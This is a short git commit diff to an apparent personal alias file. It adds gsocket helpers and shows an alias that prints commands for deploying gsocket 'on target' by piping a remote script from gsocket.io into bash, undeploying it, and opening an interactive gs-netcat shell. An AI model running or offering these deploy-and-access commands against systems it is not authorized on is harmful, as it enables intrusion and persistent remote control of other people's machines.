added gsocket net aliases

This commit is contained in:
Luxferre
2026-04-11 14:13:35 +03:00
parent 9466bc85d0
commit b40bc4f773
+1
View File
@@ -17,5 +17,6 @@ alias websrv='python3 -m http.server'
# gsocket-related aliases # gsocket-related aliases
alias gsnc='gs-netcat -i -s'
defalias gssec 's="$(echo "${GS_SEED:?}$1"|sha512sum|base64|tr -d -c a-z0-9)";echo ${s:0:22};unset s' defalias gssec 's="$(echo "${GS_SEED:?}$1"|sha512sum|base64|tr -d -c a-z0-9)";echo ${s:0:22};unset s'
defalias gsdeploycmd 'printf "Deploy on target:\ncurl -fsSL https://gsocket.io/y | X=%s bash\nUndeploy from target:\ncurl -fsSL https://gsocket.io/y | GS_UNDO=1 bash\nAccess:\ngs-netcat -i -s %s\n" $1 $1' defalias gsdeploycmd 'printf "Deploy on target:\ncurl -fsSL https://gsocket.io/y | X=%s bash\nUndeploy from target:\ncurl -fsSL https://gsocket.io/y | GS_UNDO=1 bash\nAccess:\ngs-netcat -i -s %s\n" $1 $1'